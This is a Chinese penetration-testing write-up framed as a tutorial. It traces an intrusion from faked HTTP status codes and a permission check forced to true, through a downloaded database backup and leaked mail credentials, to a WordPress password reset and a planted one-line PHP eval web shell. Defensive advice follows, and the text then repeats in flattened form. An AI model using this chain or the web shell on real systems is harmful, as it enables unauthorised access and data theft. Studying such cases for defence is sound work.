记一次相当曲折的渗透
字数 1421 2025-08-29 08:31:54

渗透测试实战教学:从逻辑漏洞到Getshell的全过程分析

一、前言

本教学文档基于一次真实的渗透测试案例,详细展示了从信息收集到最终获取系统权限的全过程。通过本案例,您将学习到逻辑漏洞利用、API接口分析、敏感信息搜集以及WordPress框架的渗透技巧。

二、信息收集阶段

1. 子域名枚举

  • 使用工具如Sublist3r、Amass或OneForAll收集目标所有子域名
  • 重点关注项目管理、OA系统等业务系统子域名

2. 目标识别

  • 发现一个项目管理网站作为主要目标
  • 初步判断为定制开发系统(非通用CMS)

三、认证绕过漏洞利用

1. 弱口令爆破尝试

  • 测试常见弱口令组合(admin/admin123等)
  • 发现系统无验证码机制
  • 无失败次数限制,适合爆破
  • 使用Burp Suite Intruder模块进行爆破(但未成功)

2. 状态码修改绕过

  • 拦截登录请求(Burp Proxy)
  • 将404响应修改为200后放行
  • 浏览器显示后台界面,未重定向到登录页
  • 原理:前端仅依赖HTTP状态码判断权限,后端验证不完善

3. 功能限制分析

  • 多数API返回错误,表明后端有token验证
  • 用户管理API仍可正常返回数据

四、密码获取过程

1. 前端修改获取假密码

  • 通过浏览器开发者工具修改返回文本
  • 获取到"管理员密码"(实际为伪造值)
  • 尝试登录失败,发现系统对返回密码进行了统一过滤

2. 数据库备份下载

  1. 发现数据库备份功能点
  2. 点击下载无反应,Burp捕获到checkPower请求
  3. 修改响应为true绕过权限检查
  4. 成功下载数据库备份文件
  5. 在备份中搜索"user"表,找到明文存储的管理员密码

五、敏感信息搜集

1. 系统内信息收集

  • 登录后未发现文件上传点
  • 常见注入点测试无果

2. 邮箱配置信息泄露

  • 在系统设置中发现邮件服务器配置
  • 包含:
    • SMTP服务器地址
    • root邮箱账号
    • 明文密码

3. 邮箱渗透

  1. 使用获取的凭据登录邮件系统
  2. 发现大量敏感信息:
    • 用户密码重置记录
    • 内部通信
    • 系统告警信息

六、WordPress渗透

1. 目标识别

  • 通过该公司售后网站发现使用WordPress框架

2. 密码重置攻击

  1. 使用"忘记密码"功能
  2. 系统通过已控制的邮箱发送随机密码
  3. 登录邮箱获取临时密码

3. Getshell方法

  1. 登录WordPress后台
  2. 进入"外观"->"主题编辑器"
  3. 编辑主题文件插入一句话木马:
    <?php eval($_REQUEST['cmd']);?>
    
  4. 使用中国菜刀/蚁剑等工具连接
  5. 成功获取Webshell

七、技术要点总结

1. 逻辑漏洞利用

  • HTTP状态码信任问题
  • 前端验证可绕过性
  • API权限校验不完整

2. 敏感信息防护缺失

  • 数据库明文存储密码
  • 邮箱凭据硬编码
  • 密码重置机制不安全

3. WordPress安全

  • 弱密码问题
  • 主题编辑漏洞
  • 权限控制不足

八、防御建议

1. 认证安全

  • 实施多因素认证
  • 增加验证码机制
  • 设置登录失败锁定

2. 权限控制

  • 前后端完整校验
  • 最小权限原则
  • 敏感操作二次认证

3. 数据安全

  • 密码哈希存储
  • 加密敏感配置
  • 定期审计权限

4. 代码安全

  • 输入输出过滤
  • 禁用危险函数
  • 文件上传限制

九、渗透测试方法论

  1. 信息收集要全面
  2. 每个功能点都要测试
  3. 不要忽视"小漏洞"的组合利用
  4. 敏感信息是重要跳板
  5. 保持耐心和细致

通过本案例可以看出,渗透测试往往需要结合多种技术,从看似微不足道的漏洞入手,逐步深入,最终获取系统权限。安全是一个整体,任何环节的疏忽都可能导致全线崩溃。

渗透测试实战教学:从逻辑漏洞到Getshell的全过程分析 一、前言 本教学文档基于一次真实的渗透测试案例,详细展示了从信息收集到最终获取系统权限的全过程。通过本案例,您将学习到逻辑漏洞利用、API接口分析、敏感信息搜集以及WordPress框架的渗透技巧。 二、信息收集阶段 1. 子域名枚举 使用工具如Sublist3r、Amass或OneForAll收集目标所有子域名 重点关注项目管理、OA系统等业务系统子域名 2. 目标识别 发现一个项目管理网站作为主要目标 初步判断为定制开发系统(非通用CMS) 三、认证绕过漏洞利用 1. 弱口令爆破尝试 测试常见弱口令组合(admin/admin123等) 发现系统无验证码机制 无失败次数限制,适合爆破 使用Burp Suite Intruder模块进行爆破(但未成功) 2. 状态码修改绕过 拦截登录请求(Burp Proxy) 将404响应修改为200后放行 浏览器显示后台界面,未重定向到登录页 原理 :前端仅依赖HTTP状态码判断权限,后端验证不完善 3. 功能限制分析 多数API返回错误,表明后端有token验证 用户管理API仍可正常返回数据 四、密码获取过程 1. 前端修改获取假密码 通过浏览器开发者工具修改返回文本 获取到"管理员密码"(实际为伪造值) 尝试登录失败,发现系统对返回密码进行了统一过滤 2. 数据库备份下载 发现数据库备份功能点 点击下载无反应,Burp捕获到checkPower请求 修改响应为true绕过权限检查 成功下载数据库备份文件 在备份中搜索"user"表,找到明文存储的管理员密码 五、敏感信息搜集 1. 系统内信息收集 登录后未发现文件上传点 常见注入点测试无果 2. 邮箱配置信息泄露 在系统设置中发现邮件服务器配置 包含: SMTP服务器地址 root邮箱账号 明文密码 3. 邮箱渗透 使用获取的凭据登录邮件系统 发现大量敏感信息: 用户密码重置记录 内部通信 系统告警信息 六、WordPress渗透 1. 目标识别 通过该公司售后网站发现使用WordPress框架 2. 密码重置攻击 使用"忘记密码"功能 系统通过已控制的邮箱发送随机密码 登录邮箱获取临时密码 3. Getshell方法 登录WordPress后台 进入"外观"->"主题编辑器" 编辑主题文件插入一句话木马: 使用中国菜刀/蚁剑等工具连接 成功获取Webshell 七、技术要点总结 1. 逻辑漏洞利用 HTTP状态码信任问题 前端验证可绕过性 API权限校验不完整 2. 敏感信息防护缺失 数据库明文存储密码 邮箱凭据硬编码 密码重置机制不安全 3. WordPress安全 弱密码问题 主题编辑漏洞 权限控制不足 八、防御建议 1. 认证安全 实施多因素认证 增加验证码机制 设置登录失败锁定 2. 权限控制 前后端完整校验 最小权限原则 敏感操作二次认证 3. 数据安全 密码哈希存储 加密敏感配置 定期审计权限 4. 代码安全 输入输出过滤 禁用危险函数 文件上传限制 九、渗透测试方法论 信息收集要全面 每个功能点都要测试 不要忽视"小漏洞"的组合利用 敏感信息是重要跳板 保持耐心和细致 通过本案例可以看出,渗透测试往往需要结合多种技术,从看似微不足道的漏洞入手,逐步深入,最终获取系统权限。安全是一个整体,任何环节的疏忽都可能导致全线崩溃。